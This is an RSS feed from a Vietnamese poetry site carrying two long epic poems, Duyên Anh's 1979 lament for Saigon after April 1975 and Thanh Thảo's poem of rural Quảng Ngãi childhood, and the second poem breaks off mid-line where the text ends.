<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netThơ có chủ đề &quot;Trường ca&quot; - Thica.net</title>
	<atom:link href="https://www.thica.net/the/truong-ca/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/the/truong-ca/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Sài Gòn trường ca</title>
		<link>https://www.thica.net/2015/11/12/sai-gon-truong-ca/</link>
		<comments>https://www.thica.net/2015/11/12/sai-gon-truong-ca/#respond</comments>
		<pubDate>Thu, 12 Nov 2015 01:17:32 +0000</pubDate>
		<dc:creator><![CDATA[Duyên Anh]]></dc:creator>
				<category><![CDATA[Duyên Anh]]></category>
		<category><![CDATA[Sài Gòn]]></category>
		<category><![CDATA[Trường ca]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=15619</guid>
		<description><![CDATA[<p>[...]</p>
<p>Sài Gòn <br />
Tên em trên những vệt son môi <br />
Trong ánh mắt và trong hơi thở <br />
Trong hạnh phúc và trong đau khổ <br />
Ở tuổi non và ở tuổi già <br />
Ở xuân hồng sắp sang và thu biếc đã qua <br />
Ở hôm nay anh sống và ngày mai anh chết <br />
Ở ngàn dặm kẻ chân mây mù mịt <br />
Ở tấc gang người cuối phố đầu phường <br />
Ở sớm công viên ngọn cỏ ngậm sương <br />
Ở chiều bùng binh đèn mầu phô sắc <br />
Ở bình minh nụ cười <br />
Ở hoàng hôn nước mắt <br />
Ở chốn ngoài ta <br />
Ở cõi vô thường <br />
Ở nghẹn ngào vết chém thê lương <br />
Của lịch sử trăm năm phản bội </p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2015/11/12/sai-gon-truong-ca/">Sài Gòn trường ca</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>1 </p><p>Em thuở ấy còn hoa phong nhụy<br />Trên bản đồ địa lý giáo khoa thư<br />Rất thật thà và cũng rất ngu ngơ<br />Anh mực tím vẽ giấc mơ viễn xứ<br />Giấy trắng học trò viết tên em đầy vở<br />Viết đầy hồn tuổi nhỏ của anh xưa<br />Chuyến tàu vô Nam còi thét trong mơ<br />Nên ga bến chỉ đợi chờ tưởng tượng<br />Thế đã đủ làm anh sung sướng<br />Đủ làm anh chiêm ngưỡng em rồi </p><p>Hỡi Sài Gòn xa lạ của anh ơi<br />Anh thầm gọi khi đất trời hiu quạnh<br />Nuốt miếng nắng vàng lòng thôi mưa lạnh<br />Và thèm bay như đôi cánh hạc hồng<br />Đêm sách đèn chữ nghĩa chạy lung tung<br />Ngày trường lớp cũng uổng công thầy dạy<br />Cái bảng đen mịt mù sao anh thấy<br />Xa nơi anh lộng lẫy một Sài Gòn<br />Một Sài Gòn tươi mát ngọt ngon<br />Đang vẫy gọi lời mật ong say đắm </p><p>Bước chân đời hiền ngoan nhưng chậm lắm<br />Anh theo nhanh mà vẫn cứ dại khờ<br />Sài Gòn ơi, biết đến bao giờ<br />Anh khôn lớn để ước mơ đầy tuổi </p><p>2 </p><p>Năm anh mười chín<br />Đường hoa xưa lầy lội<br />Quê nhà anh cằn cỗi thê lương<br />Như chim hạc hồng anh vội trốn mùa đông<br />Đôi cánh mỏng trĩu cong tâm sự </p><p>Tỗ quốc mình còn ho lao quá khứ<br />Đã ung thư một hiện tại chia phân<br />Anh đến cùng em, anh đến thật gần<br />Với lòng anh bản đồ ngày xưa vẽ dở<br />Em nắng vàng xoài, mưa xanh vú sữa<br />Nỗi sầu riêng hồn anh lịm cơn mê<br />Sông miền Nam chẳng ai thích ngăn đê<br />Nên tình cảm mênh mông biển nước<br />Sài Gòn, em là mộng ước<br />Em áo bà ba đơn sơ và em giọng nói thiệt mùi </p><p>Em chân tình và em tha thiết quá em ơi<br />Xao xuyến ầu ơ, bồi hồi vọng cổ<br />Em cho anh hơi thở<br />Cho anh niềm tin xây dựng tương lai<br />Em cho anh cả đất lẫn trời<br />Cả nắng thi ca, cả mưa tiểu thuyết<br />Em cho anh đếm làm sao hết<br />Đời yên vui nhờ liếp ấm em che<br />Đời yên vui nhờ một chốn lui về<br />Anh thấy rõ ngọn đèn soi cuộc sống </p><p>Phóng tầm mắt anh nhìn xa trông rộng<br />Thế giới ơi, tôi kiêu hãnh có Sài Gòn<br />Nếu phải lìa em, anh sẽ mỏi mòn<br />Anh sẽ giối giăng đọc tên em từng hàng cây, con phố<br />Theo bước chân người anh rày đây mai đó<br />Mỗi chia ly mỗi gần gũi em hơn<br />Mỗi chia ly mỗi thơm ngát nỗi buồn<br />Anh mới hiểu<br />Sài Gòn, trái tim anh, tim đất nước<br />Anh mới hiểu </p><p>Tại sao mình yêu tổ quốc<br />Và tại sao mình yêu dấu Sài Gòn<br />Em cho anh nhiều, em nhớ nổi không<br />Tiếng hát thê lương, điệu ru kỉ niệm<br />Em cho anh no tròn sự nghiệp<br />Để anh đi làm đẹp cuộc đời </p><p>Sài Gòn<br />Tên em trên những vệt son môi<br />Trong ánh mắt và trong hơi thở<br />Trong hạnh phúc và trong đau khổ<br />Ở tuổi non và ở tuổi già<br />Ở xuân hồng sắp sang và thu biếc đã qua<br />Ở hôm nay anh sống và ngày mai anh chết<br />Ở ngàn dặm kẻ chân mây mù mịt<br />Ở tấc gang người cuối phố đầu phường<br />Ở sớm công viên ngọn cỏ ngậm sương<br />Ở chiều bùng binh đèn mầu phô sắc<br />Ở bình minh nụ cười<br />Ở hoàng hôn nước mắt<br />Ở chốn ngoài ta<br />Ở cõi vô thường<br />Ở nghẹn ngào vết chém thê lương<br />Của lịch sử trăm năm phản bội<br />Những tên bù nhìn yêu nước độc quyền<br />Những tên tay sai tráo trở đảo điên<br />Em ngự đền đài, em là đà huyệt mộ<br />Ở mọi nơi vì em là thành phố<br />Là chứng nhân và là cả nạn nhân<br />Anh yêu em muốn cắt nát vai trần<br />Muốn ghì chặt môi hôn bây giờ mãi mãi </p><p>3 </p><p>Sài Gòn khăn sô<br />Mùa xuân tím tái<br />Lưỡi lê đàng ngoài thù hận đàng trong<br />Chim hạc hồng tiếp tục trốn mùa đông<br />Chả thấy Hoàng Diệu nào tuẫn tiết<br />Anh chỉ thấy bọn tướng hèn khốn khiếp<br />Lột xé chiến bào, phi tang tích huân chương<br />Đứa tham sinh rời lủi quê hương<br />Đứa úy tử gục đầu chịu trói<br />Sài Gòn ơi, anh biết em đau nhói<br />Anh biết em nhục nỗi tháng Tư<br />Nỗi nhục ghim sâu, em vẫn thủ đô<br />Vẫn rực rỡ tự hào những người không bỏ em cao thượng<br />Ta ở lại địa ngục trần gian<br />Và ta tự tìm lên thiên đàng hạnh phúc<br />Bởi vì ta được khóc với Sài Gòn<br />Nước mắt ta nhỏ xuống vết thương non<br />Vết thương xót xa làm ta khôn lớn </p><p>Sài Gòn<br />Em đã cho anh hai mươi năm sung sướng<br />Anh phải van lơn để hứng chịu cầu cơ<br />Ngày mai, trong ngục tù hay phát vãng rừng sâu<br />Anh không thẹn khi nói: Anh yêu em tha thiết<br />Hãy mơn nhẹ nỗi đau, đừng rên xiết<br />Hãy thinh không niềm bí ẩn trùng khơi<br />Sài Gòn ơi<br />mãi là em nhé,<br />Sài Gòn ơi </p><p>Dù biển dâu có khoác áo chồn tinh<br />Lên tên em diễm tuyệt<br />Mãi là nắng thi ca là mưa tiểu thuyết<br />Dù đường xưa đầy dấu vết kên kên<br />Mãi là em,<br />Mãi là em ngơ ngác, dịu hiền<br />Để anh vững hành trang xa em biệt xứ<br />Để anh vỗ về tương lai bằng điệu ru quá khứ<br />Để anh yên vui còn một chốn lui về </p><p>Tháng sáu mây chì<br />Mưa tiễn anh đi<br />Mưa sướt mướt hay Sài Gòn sướt mướt<br />Anh đi theo nổi trôi vận nước<br />Anh đi theo dâu biển quê nhà<br />Anh hết là anh<br />Anh đã là ta<br />Cái tiểu ngã nhập vào đại ngã<br />Nỗi thống khổ chẳng riêng ai chịu nữa<br />Nó đè lên vai cả dân tộc<br />Cả thế giới chúng mình </p><p>Nó ở trong giọt nước mắt già và trên ngọn tóc xanh<br />Nó ở cuộc đời thênh thang<br />Và ngục tù tăm tối<br />Nó ở ban mai kinh nguyện cầu<br />Nửa đêm kinh sám hối<br />Ở hồi chuông cáo phó<br />Ở tiếng khóc chào đời<br />Nó gầm gừ đe dọa dài dài<br />Sau mỗi hòa bình của chiến tranh ý thức hệ<br />Nó là tham lam, ích kỉ<br />Là kiêu căng, ngu xuẩn là độc ác dối gian<br />Nó xui Việt Nam tàn nhẫn với Việt Nam<br />Và bắt nhân loại phải rời xa nhân loại<br />Nó đã bắt ta xa em, Sài Gòn hỡi<br />Nó đầy ta suối độc, rừng thiêng<br />Nó còn giả vờ giăng khẩu hiệu nhân quyền<br />Con ó bảo mỏ mình thôi nhọn hoắt<br />Và con gấu khoe chân mình cùn nanh vuốt<br />Nhưng loài người vẫn bị mổ mắt, vẫn bị cấu cào<br />Ta thì vẫn nằm dài trong những đề lao<br />Nghe nỗi nhớ Sài Gòn thơm ngát </p><p>5 </p><p>Mùa thu nghe con cuốc cuốc<br />Có gần ta những buổi chiều nhung<br />Em đến luôn luôn, em đến rất thường<br />Với cỏ úa công viên, với cây khô tước vỏ<br />Với phấn son, lược gương vất bỏ<br />Với móng tay dài, ánh mắt diều hâu<br />Phan Đình Phùng tạm trú nơi đâu<br />Trần Quý Cáp hộ nào chứa đó </p><p>Ôi, Cần Vương trăm năm cũ<br />Cũng biển dâu dâu biển dưới mồ<br />Giải khăn sô trên vừng trán tháng Tư<br />Cho người chết và cho lịch sử<br />Cho nhiệt tình và cho danh dự<br />Cho quên trời xa cho nhớ đất gần<br />Em đến hoài hoài, em đến thật chăm<br />Với bước chân em rã rời cõi tạm<br />Với mũi tên găm tim sưng phổi nám<br />Em gọi ta về máu đỏ chiêm bao </p><p>Em gọi ta về xao xuyến dạt dào<br />Em có hiểu vì sao ta ở lại<br />Em có hiểu vì sao ta đóng đinh chịu tội<br />Sài Gòn ơi, nay mới thật yêu em<br />Xưa đã yêu rất mướt rất mềm<br />Đã tha thiết chỉ gọi là tha thiết<br />Chưa cuồng điên, dại rồ, mãnh liệt<br />Vẫn ngỡ tình yêu khói nắng mơ hồ<br />Vẫn tưởng tình yêu bọt nước hư vô<br />Nên mới có bây giờ ta sám hối </p><p>Ta tình nguyện lưu đầy chuộc lỗi<br />Bởi mải rong chơi đánh mất Sài Gòn<br />Bởi trót lơ là làm héo đóa môi son<br />Làm suối lệ thành đại dương nước mắt<br />Hạnh phúc trong tay ta vừa vuột mất<br />Em gọi ta về hiu hắt dặm đường xa<br />Ta,<br />Những chàng trai của Sài Gòn mở hội hôm qua<br />Của hôm nay đề lao, tập trung lao cải<br />Của Sơn La, Lai Châu, Lào Cai, Yên Bái </p><p>Của Ninh Bình, Vĩnh Phúc, Gia Trung<br />Của Kà Tum, Thanh Nghệ, Phước Long<br />Của Trảng Lớn, Vườn Đào, Đồng Tháp<br />Của Hí Hòa, Hàm Tân, Sa Ác<br />Của Gia Rai, Xuyên Mộc, vân vân<br />Hỡi Sài Gòn, người tình chói lọi chân dung<br />Em gắng đợi ta về trong nỗi nhớ </p><p>6 </p><p>Anh hỏi trời cao<br />Trời cao hớn hở<br />Anh hỏi đất thấp<br />Đất thấp mặn nồng<br />Có tình yêu, hạnh phúc nào già không<br />Trời đất nói hạnh phúc, tình yêu nghìn năm son trẻ<br />Và thành phố anh yêu cũng nghìn năm như thế<br />Sài Gòn ơi, em trẻ mãi chẳng già<br />Anh sẽ về thắp sáng ngọn đèn xưa<br />Vẽ lại chân dung em<br />Bản đồ giáo khoa thư địa lý<br />Viết tên em Sài Gòn hoa phong nhụy </p><p>Sài Gòn tình thơ anh<br />Sài Gòn ấu thơ anh<br />Sài Gòn mưa tâm tư<br />Sài Gòn nắng tâm tình<br />Sài Gòn mênh mông<br />Sài Gòn vời vợi<br />Sài Gòn rất tươi<br />Sài Gòn thật mới<br />Thế giới ơi, tôi không mất Sài Gòn. </p><p><em>(Sa Ác, 30/4/1979)</em></p><p>The post <a href="https://www.thica.net/2015/11/12/sai-gon-truong-ca/">Sài Gòn trường ca</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2015/11/12/sai-gon-truong-ca/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">15619</post-id>	</item>
		<item>
		<title>Trường ca chân đất</title>
		<link>https://www.thica.net/2014/04/04/truong-ca-chan-dat/</link>
		<comments>https://www.thica.net/2014/04/04/truong-ca-chan-dat/#respond</comments>
		<pubDate>Fri, 04 Apr 2014 01:51:08 +0000</pubDate>
		<dc:creator><![CDATA[Thanh Thảo]]></dc:creator>
				<category><![CDATA[Thanh Thảo]]></category>
		<category><![CDATA[Con người]]></category>
		<category><![CDATA[Đất nước]]></category>
		<category><![CDATA[Quảng Ngãi]]></category>
		<category><![CDATA[Quê hương]]></category>
		<category><![CDATA[Trường ca]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=12161</guid>
		<description><![CDATA[<p>[...]</p>
<p>vài cái xoong móp méo<br />
áo rách toạc<br />
mấy trăm năm một điệu hành khốn khổ<br />
phương nam cuốc bộ<br />
              phương nam xe đò<br />
phương nam đất hứa<br />
            phương nam cùng đồ<br />
mặt căng bình thản</p>
<p>những dòng sông mất tích<br />
những đám mây trượt ngã<br />
những hàng cây tắt nến trong đêm<br />
tôi đi về nhà mình<br />
thèm một ngọn lửa màu rơm<br />
một ổ chó ấm hơi chờ đợi<br />
và tôi gặp</p>
<p>một chàng trai sáu trăm năm trước<br />
một cô gái sáu trăm năm trước<br />
vật vã trên bãi sông Trà<br />
gió mơn man da thịt<br />
mùi bắp non mùi rong rêu mùi bùn mùi nước sông ngai ngái<br />
đằm đằm trai gái hoang sơ<br />
những cú xoay mình<br />
những tiếng rên bất chợt<br />
tôi nghe từ sáu trăm năm trước<br />
một giai điệu quen<br />
một bài hát không lời<br />
sáu trăm năm hay sáu nghìn năm<br />
mùi ân ái trong đêm vẫn thế</p>
<p>[...]</p>
<p>buông câu giữa muôn trùng đói rách<br />
mong giật được một ngày sáng tươi<br />
quê hương bỏ thì thương vương thì tội<br />
em thèm làm việc lắm anh ơi!</p>
<p>trong đêm xe nảy xóc<br />
mắt lặng nhìn về sau<br />
đầu dúi lên phía trước<br />
mười ngón tay khát khao</p>
<p>phương nam hề, đơn độc!<br />
phương nam hề, xoáy lốc!</p>
<p>mặt căng bình thản</p>
<p>mỳ gõ thâu đêm Sài Gòn hoa lệ<br />
trứng cút thâu đêm Sài Gòn mưa xé<br />
bánh xèo thâu đêm liu riu ngọn lửa<br />
xích lô thâu đêm từng vòng cô đơn</p>
<p>đất quê tôi hai lần thất lạc<br />
người quê tôi hai lần lưu dân</p>
<p>vì sao muốn khóc?</p>
<p>có một hạt cỏ may cư trú lênh đênh<br />
ngày ấy xanh lá trúc<br />
có một chiếc xe đò đi về mông mênh<br />
đỏ đen phận người câu mực</p>
<p>[...]</p>
<p>The post <a href="https://www.thica.net/2014/04/04/truong-ca-chan-dat/">Trường ca chân đất</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p><em>Kính dâng quê hương Quảng Ngãi của tôi<br />Kính dâng thầy má của con</em></p><p><strong>Chân tre</strong></p><p>bước ngang dòng sông<br />pháo đài xanh<br />la đà rủ chim làm tổ<br />đêm nghiến răng ngày lam lũ<br />thở gai khóc lá than cành<br />viết lên cao xanh<br />ngọn bút trúc tâm ngơ ngác<br />không biết viết thì vót<br />nghêu ngao bình cũ hũ sành<br />thài lài rau mác nấu canh<br />bắt tép kho cà nuôi anh khôn lớn<br />thương mẹ kính cha<br />khổ nghèo tật bệnh<br />hóa trăm vị thuốc cứu người</p><p>&#8211; này bạn tre ngâm ơi<br />sao mắt rạng ngời<br />mùi hơi gắt</p><p>&#8211; thì Việt vương cũng nằm gai nếm cứt<br />như thân ta ủ kín trong bùn</p><p>&#8211; này chìa vôi nọ bách thanh<br />sao cứ nghe xạc xào là hót</p><p>&#8211; thì bác tre mới mặt trời nứt mắt<br />đã tỏa bóng về sau</p><p>&#8211; không thể sống mà đau<br />không thể chết mất gốc</p><p>gió nồm nam thay quạt<br />ngồi bụi tre đôi phút mát lòng<br />quăng quật cả nghìn năm<br />chịu trăm thứ đè đầu cưỡi cổ<br />chờ trăng lên hát giọng thổ<br />lý con gì vắt nửa khố dây</p><p>như bác Năm Trì đây</p><p>lên bảy bác cọc còi theo cha ra đồng đập đất cục<br />thoang thoảng mùi phân bò<br />mùi hương ấy trốn sâu trong tiềm thức<br />mấy mươi năm sau bật nút<br />thành thơ</p><p>bác Năm Trì lơ tơ mơ<br />bác Năm Trì dân Quảng Ngãi</p><p>nhớ bác trán vồng như luống khoai<br />tay chai bánh tráng sượng<br />mắt băm băm lục tìm tám hướng<br />cuốc vung lên moi từng củ cui<br />mặt đanh rắn đất cục mùa phơi ải</p><p>bác Năm Trì dân Quảng Ngãi</p><p>ghét bác ghê cái tính hay nói tục<br />chửi bậy<br />chẳng nhằm ai<br />như trẻ con ném đất cục<br />vô ý trúng<br />có khi đền thấy mẹ<br />có khi<br />phải kiểm điểm</p><p>dù đất cục quê mình<br />chỉ u đầu chứ không<br />sưng</p><p>bác Năm Trì tưng tưng tưng<br />bác Năm Trì dân Quảng Ngãi</p><p>mùa tiếp mùa bác kéo nhá buông câu<br />xơi tái<br />dăm ba thằng se sẻ<br />có lúc buồn leo tít ngọn cau<br />hát giọng thổ<br />những bài ca quá lửa<br />như cá bống kho tiêu<br />khen khét mùi niêu đất</p><p>bác chúa ghét những bống bống bang bang<br />ăn cám trả vàng</p><p>bác Năm Trì tàng tàng tàng<br />bác Năm Trì dân Quảng Ngãi</p><p>đêm láng lênh bác ngồi gãi háng<br />trăng hạ tuần<br />nhớ lung mung<br />hình như tổ tiên mình có cái chén mẻ<br />gửi đâu đó bên dưới đế tháp Chàm<br />những ngọn tháp chỉ còn trong ký ức</p><p>hình như tổ tiên mình trồng một bụi tre<br />trồng một lũy tre<br />trồng một rừng tre<br />bên dưới thành Châu Sa<br />bên dưới Trường Lũy<br />đâu đó<br />bên dưới những niềm hy vọng cũ</p><p>người ta lên voi xuống chó<br />lên ngai xuống bãi thài lài<br />còn bác<br />năm này qua năm khác<br />nhào nặn đất cục</p><p>bác Năm Trì ục ục ục<br />bác Năm Trì dân Quảng Ngãi</p><p>bây giờ<br />bổ nhát cuốc đào lên<br />lại gặp những niềm hy vọng cũ<br />những giấc mơ quá lửa<br />những rễ tre hoá thạch tự bao đời</p><p>quê hương ơi làm sao tôi sống<br />thiếu Người<br />làm sao tôi thành một bóng cây<br />nho nhỏ<br />nếu trước nhà tôi, ngoài ngõ<br />không rậm rì rậm rịt một bóng tre?</p><p><strong>Chân ruộng</strong></p><p>những con đỉa bám vào ký ức<br />hút thời gian nhớ nhớ quên quên<br />tôi không biết giữa quên và nhớ<br />con đỉa dai chọn cửa nào<br />lên tám tuổi lần đầu tôi bước xuống bùn<br />bàn chân nghe gốc rạ thở than<br />đám ruộng sâu nhìn dòng sông nhỏ<br />đón đứa trẻ lần đầu tập làm nông dân<br />cũng ở đây lần đầu tôi bị đỉa hút máu<br />những con đỉa tự ngàn xưa<br />hoảng sợ<br />những con đỉa đeo bám vào giấc mơ<br />nhờ nhợ<br />(bây giờ người Tàu sang xứ mình lùng mua đỉa<br />đắt bao nhiêu cũng cân<br />chắc họ mua về thả ruộng (Tàu)<br />cho đỉa bu sướng chân (Tàu)<br />hút máu)</p><p>người Tàu thật lạ<br />họ mua những thứ dân mình vứt bỏ<br />và bán cho mình những thứ cả thế giới vứt bỏ</p><p>làm sao tôi biết<br />chân ruộng sâu có gì?</p><p>bác Năm Trì<br />bình thản xoa tí nước bọt vào chân<br />và bứt ra một con<br />đỉa<br />nói theo kiểu bây giờ<br />“hết sức kiềm chế!”</p><p>à à uôm uôm<br />ruộng sâu rồi tới ao chuôm<br />tôi lớn lên từ đó</p><p>bàn chân sục trong bùn<br />nghe ram ráp lá lúa xoa vào mặt<br />từ một cánh đồng anh đi đánh giặc<br />mùi bùn đâu chẳng giống nhau</p><p>cứ gì mùi thơm mới khiến nhớ lâu<br />khi bùn non nối đời anh với đất<br />khi bàn chân giẫm gai cào đá sắc<br />là để cho bùn ruộng nhuyễn hơn thôi</p><p>bùn ruộng là tôi<br />thuở mẹ cho con bú<br />bầu vú thoảng mùi gốc rạ<br />bùn ruộng là em<br />nay chân dài nhưng ngày bé thơ<br />đồ hàng em chơi con cua kéo cày<br />bùn ruộng là anh<br />giờ tiến sĩ mà đầu loé nhanh<br />hình con lia thia đá</p><p>hồi nhỏ anh không chơi đỉa<br />không nói dai<br />nhưng đố biết<br />ruộng sâu cho anh những gì<br />đỉa trâu cho trâu những gì<br />vu vơ cho thơ những gì</p><p>đất qua tôi những gương mặt khác nhau<br />những luống cày ngây dại<br />những năm ấy tôi nằm sát đất<br />chẳng lo nghĩ gì<br />những năm ấy cây chò rừng bốc cháy<br />lửa hồn nhiên sáng trong<br />trăng như sữa đổ tràn rẫy cũ<br />một mình tôi ngun ngút nhớ thương<br />những năm ấy tôi bơ vơ như đất<br />bị bỏ quên một góc<br />bìa rừng</p><p>tôi đứng dậy<br />chính nơi mình vấp ngã<br />đầu gối va đất cục<br />ngây dại lấm bùn<br />mùi bùn làm tôi ngây dại hơn</p><p>tôi hạnh phúc thơ mình lấm láp<br />thơ mình in gương mặt bác Năm Trì<br />nẻ chân chim mặt ruộng mùa cuốc ải<br />lầm lì<br />hái rau tập tàng<br />bắt con cua lùa con cá<br />về cho má<br />nấu canh chua</p><p>ô kìa con…</p><p>người già quê tôi<br />tuổi ngót trăm ngày tăm xị rượu<br />lưng còng song song mặt đất<br />dáng thảnh thơi như một chiếc tàu bay<br />bay chầm chậm qua mây mù u uất<br />chở thênh thênh một đời nặng nhọc<br />con cháu xa quê mấy chục năm về còn nhớ mặt<br />nhớ thằng cu bị đỉa bu cua kẹp khóc ra sao<br />người già quê tôi<br />bắt được con gì ăn con nấy<br />nấu canh đủ thứ lá<br />mọc hoang trên ruộng mình<br />mỗi khi họ làm thinh<br />mây trên trời tụ về đen kịt</p><p>nhớ linh tinh<br />đựng cho vừa vài folder máy tính<br />đếm lỉnh kỉnh<br />mỗi lá rau một bài thuốc<br />nhớ những đêm soi đuốc<br />giữa đồng<br />đếm mênh mông<br />màu ráng chiều thay đổi<br />mưa sa hay gió nổi<br />đêm nhìn sao<br />biết ngày mai sa mù</p><p>người già quê tôi<br />chỉ không biết<br />sân golf là thế nào</p><p><strong>Chân mưa</strong></p><p>những cây cau đã trổ hoa<br />yêu thương xa lạ<br />nơi không khí biến ta thành lặng lẽ<br />dẫu muốn ồn ào biết ồn ào với ai</p><p>con đường mấy mươi năm mòn dần dưới chân người chân trâu chân mưa<br />đường lầy thụt dẫn về yên tĩnh<br />ta đã có những con chuồn chuồn con cá con cua<br />ta đã có nỗi cô đơn ngọt ngào trẻ nhỏ</p><p>và tôi đã có<br />chân mưa</p><p>có những ngày mưa rất buồn<br />mưa đi luôn<br />rồi mưa trở lại<br />những dấu chân mưa bờ tre phấp phỏng<br />bong bóng phập phồng<br />tôi ngồi nhìn mẹ tôi xay lúa<br />tôi không biết và tôi không nghĩ<br />đời mình như chiếc cối xay tre<br />có ngày quay trở lại<br />tôi chỉ nhớ bát ngô rang giã lớ<br />trộn chút đường đen<br />thơm cả chiều mẹ cho tôi ăn<br />mưa<br />đầm đìa tong tả<br />mướt xanh tàu lá chuối<br />mờ mặt sông<br />bác Năm Trì thả lờ kéo nhá<br />mẹ tôi mua một bát lòng tong<br />kho nghệ<br />ngôi nhà tranh chỉ có hai mẹ con<br />mưa thì thầm ngoài cửa<br />thằn lằn chắc lưỡi<br />mưa giống bác Năm Trì khoác áo tơi<br />chân người chân mưa va vấp nhau<br />tất tả</p><p>Sáu mươi năm còn lại gì<br />vẫn tiếng chân mưa đi<br />ngoài cửa sổ</p><p>gần như một bức tường vô hình dựng lên<br />bao bọc tuổi thơ quê nhà mấy mươi năm xa cách<br />thỉnh thoảng ta về nhìn ngắm lại<br />phần đời đầu tiên con đường loang những vết bùn</p><p>suốt đời tôi cứ va phải những bức tường<br />trơ lỳ u mê<br />hung hãn<br />hoảng sợ</p><p>chỉ duy nhất một bức tường<br />dịu dàng<br />trong suốt<br />thương yêu<br />bao bọc</p><p>bức tường mưa<br />chìm tận đáy quê nhà</p><p>nơi mùi hoa cau thơm đậm hơn<br />lúa xanh hơn<br />dòng sông hiền hơn tất cả<br />hoàng hôn xuống như một người gánh rạ<br />gánh sắc vàng đang sẫm dần</p><p>trên chân ruộng con cò đứng một chân<br />cúi đầu ngẫm ngợi</p><p>những bức tường bê tông lầm lì<br />những bức tường sắt thô bạo<br />những con sư tử đá<br />những con đại bàng bằng xi-măng<br />sẽ thay hoàng-hôn-người-gánh-rạ của tôi chăng?</p><p>lò dò<br />nướng chiếc càng cua<br />thơm thơm<br />như đứa trẻ vừa chạy qua<br />lâng lâng bát nước chè nhà<br />dồng dộc làm tổ còn tha sợi vàng</p><p>thằng Bờm có cái quạt mo<br />thì tôi có cả tuổi thơ của mình</p><p>bao giờ thoang thoảng hoa cau<br />mặc lòng cua máy cáy đào tự nhiên</p><p>đời như chiếc cối xay tre<br />quay quay quay mãi<br />lại về<br />tuổi thơ</p><p>60 năm còn lại gì<br />vẫn tiếng chân mưa đi<br />ngoài cửa sổ</p><p><strong>Chân núi</strong></p><p>nhớ cái đận tôi đi rừng lấy nứa<br />lội qua suối nghe róc rách trong mình<br />một dòng mát lạnh<br />lưng chừng dốc<br />bó nứa<br />tuột<br />khiến tôi sảng hồn<br />không kịp thở<br />chỉ mong mau<br />hết dốc<br />chỉ mong thoát<br />bó nứa<br />chỉ mong chóng<br />xuống núi</p><p>khi tôi dưới chân núi<br />núi quá cao<br />khi tôi lưng chừng núi<br />núi quá dốc<br />khi tôi trên đỉnh núi<br />núi quá thường</p><p>một lối mòn<br />sương sương</p><p>ngày ấy<br />chỉ cần mau<br />tới suối<br />chỉ cần nhanh<br />tới cuối<br />chỉ cần vứt<br />bó nứa<br />chỉ cần thấy<br />nhà mình</p><p>rồi tôi âm thầm<br />leo một ngọn núi khác<br />trèo một con dốc khác<br />vác những bó nứa khác<br />mơ những giấc mơ khác<br />nhưng không mong<br />hết dốc<br />không mong thoát<br />cái gì</p><p>như người xuyên rừng nhãng bước chân đi<br />cứ chăm chăm phát cây mở lối<br />gánh nặng là chữ<br />muỗi vắt là chữ<br />mồ hôi là chữ<br />đói bụng là chữ</p><p>buồn vô ngôn</p><p>giấc mơ chữ<br />quanh quất<br />mê mải<br />trơn tuột<br />những hy vọng<br />lơ lửng</p><p>đỉnh núi là chân núi<br />và ngược lại</p><p>bây giờ ngồi một mình<br />nói một mình<br />trên vai không còn bó nứa<br />không còn gì nữa<br />không leo dốc<br />không khát nước<br />chân núi là đỉnh núi<br />không ngược lại</p><p>may ra còn<br />một giấc mơ</p><p>những giấc mơ đêm nào quanh quất<br />chợt sáng chợt tắt<br />vào những buổi trưa trời tích điện<br />người tích nhiệt<br />cây ba lá tìm một chiếc túi xách bị mất<br />không ai nói cho biết<br />phải làm gì<br />chân núi trước mặt mình<br />xa lăng lắc<br />tôi biết sự an ổn<br />dưới chân núi<br />ngôi nhà bé nhỏ<br />dưới chân núi<br />những bụi sim mua hoa tím<br />dưới chân núi<br />mẹ tôi nằm<br />dưới chân núi<br />đôi khi biết chỉ mà biết<br />nhớ là nhớ vậy thôi</p><p>tôi bắt đầu từ chân núi<br />nhưng chưa biết bao giờ kết thúc? ở đâu?</p><p><strong>Chân cò</strong></p><p>“Con cò mầy đứng một chân”<br />(có thể là ca dao)</p><p>thường thì cò đứng hai chân<br />nhưng dẫu đứng ba chân<br />kiếm cái ăn mỗi ngày mỗi khó<br />thôi thì<br />cò đứng một chân<br />tiết kiệm năng lượng<br />đầu vào ít<br />đầu ra ít</p><p>lặn lội chi thêm tội<br />thêm tội thì lặn lội<br />sinh phải đứa con tật nguyền<br />nào biết da cam hay da quýt<br />đau đến nỗi chỉ một con mắt khóc<br />nước mắt dòng dòng thành một chân cò<br />người ta nói đó là chân ảo<br />nước mắt bây giờ là ảo<br />rất ít người thấy được</p><p>cõng mẹ đi chơi<br />mẹ nhẹ đến nỗi không biết còn hay mất<br />qua chỗ lội<br />thấy từng bầy quỉ ma<br />không đánh rơi mẹ dù mẹ rất nhẹ<br />không đánh mất mình dù mình chẳng còn gì để mất</p><p>à ơi<br />gặp con cò bên thác Bản Giốc<br />đứng một chân bán hàng Tàu<br />ngước nhìn dãy núi đá trước mặt<br />đỉnh núi giờ đã mất<br />cột mốc dời xuống tận chân núi<br />dãy núi giờ đã ảo<br />như nước mắt</p><p>chỉ còn hàng Tàu bò<br />nhơm nhếch<br />chỉ còn một chân cò<br />rũ riệt</p><p>bao giờ cò đứng hai chân<br />bay thẳng lên đỉnh núi 